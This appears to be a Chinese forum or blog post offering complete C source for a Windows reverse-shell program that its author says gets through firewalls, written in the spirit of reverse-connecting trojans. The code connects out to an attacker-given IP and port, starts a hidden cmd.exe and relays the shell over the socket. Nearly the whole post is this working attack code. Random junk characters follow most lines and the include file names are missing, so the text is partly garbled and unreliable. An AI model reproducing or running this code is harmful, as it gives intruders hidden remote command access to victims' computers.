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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j V3)2C}  
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/* ============================== . RVVWqW  
Rebound port in Windows NT a dfR!&J  
By wind,2006/7 {^)70Vz>PE  
===============================*/ ;zTuKex~  
#include 2.uA|~qH  
#include )EM7,xMz  
/lhz],w  
#pragma comment(lib,"wsock32.lib") ^?"\?M1  
,:n| ?7  
void OutputShell(); 4Aes#{R3v  
SOCKET sClient; q}|U4MJm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +]xFoH  
Y&bM CI6U  
void main(int argc,char **argv) Y qdWctUY  
{ U%B(5cC  
WSADATA stWsaData; 'vV$]/wBF  
int nRet; S:Q! "U  
SOCKADDR_IN stSaiClient,stSaiServer;  cc=gCE  
'1SG(0  
if(argc != 3) J:dof:q  
{ U 5w:"x  
printf("Useage:\n\rRebound DestIP DestPort\n"); AnsjmR:Jv  
return; |f( ~@Q:  
} 8kL4~(hY  
I+ l%Sn#\  
WSAStartup(MAKEWORD(2,2),&stWsaData); K<sC F[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,<,:8B  
k_|^kdWJ  
stSaiClient.sin_family = AF_INET; /TQ}} YVw  
stSaiClient.sin_port = htons(0); 5AeQQU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yq[Cq=rBk  
Z,7R;,qX  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e&q?}Ho  
{ 1$lh"fHU  
printf("Bind Socket Failed!\n"); 8y';\(;  
return; *ZSdl 0e  
} i8X`HbmN  
KU9Z"9#  
stSaiServer.sin_family = AF_INET; @ez Tbc3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J'&# mDU  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {04"LAE  
&p UZDjo?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q> :$c0JY  
{ KLQTKMNv  
printf("Connect Error!"); 4pU>x$3$  
return; Fig&&b a  
} &F$:Q:* *  
OutputShell(); ?NNn:tiD  
} V_n<?9^4  
KGHq rc  
void OutputShell() Mn:/1eY  
{ FE7)E.U  
char szBuff[1024]; d^ ZMS~\*  
SECURITY_ATTRIBUTES stSecurityAttributes; [e e%c Xo  
OSVERSIONINFO stOsversionInfo; #<7O08 :  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h #Z4pN8T3  
STARTUPINFO stStartupInfo; 7B9`<{!h  
char *szShell; 36m5bYMd)  
PROCESS_INFORMATION stProcessInformation; 'WyTI^K9  
unsigned long lBytesRead; ]1-z! B4K  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~=r^3nZR/J  
lt'I,Xt  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f2)XP$:  
stSecurityAttributes.lpSecurityDescriptor = 0; O!1TthI  
stSecurityAttributes.bInheritHandle = TRUE; y? (2U6c  
{1 J&xoV"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7Ob*Yv=[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3+7^uR$/I4  
w*j$uW6{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2h30\/xkU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v]:=K-1n  
stStartupInfo.wShowWindow = SW_HIDE; cX!Pz.C  
stStartupInfo.hStdInput = hReadPipe; vW,snxK6y&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l?E a#  
:bU(S<%M  
GetVersionEx(&stOsversionInfo); +m\|e{G  
+~Cy$M CX  
switch(stOsversionInfo.dwPlatformId) n7LfQWc  
{ ^W83ByP  
case 1: t-%Q`V=[  
szShell = "command.com"; (AY9oei>  
break; ri~<~oB 2:  
default: Z5G!ct:W  
szShell = "cmd.exe"; n_K~ vD  
break; (n( fI f  
} 2+8#H.  
t/i5,le  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g{s'GyV8t  
;bu#8,  
send(sClient,szMsg,77,0); nCg66-3A  
while(1) XdgUqQb}  
{ d=.2@Ry  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z~G my7h(  
if(lBytesRead) `A%^UCd  
{ >v;8~pgO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YL^=t^ !4  
send(sClient,szBuff,lBytesRead,0); H!e 3~+)  
} "LhUxnll  
else <{(/E0~V/<  
{ pI`?(5iK6|  
lBytesRead=recv(sClient,szBuff,1024,0); dHnR_.  
if(lBytesRead<=0) break; W><Zn=G4)b  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HYr}wG  
} % u{W7  
} Ha>*?`?yI  
iSRpfU  
return; Upl6:xYrG  
}
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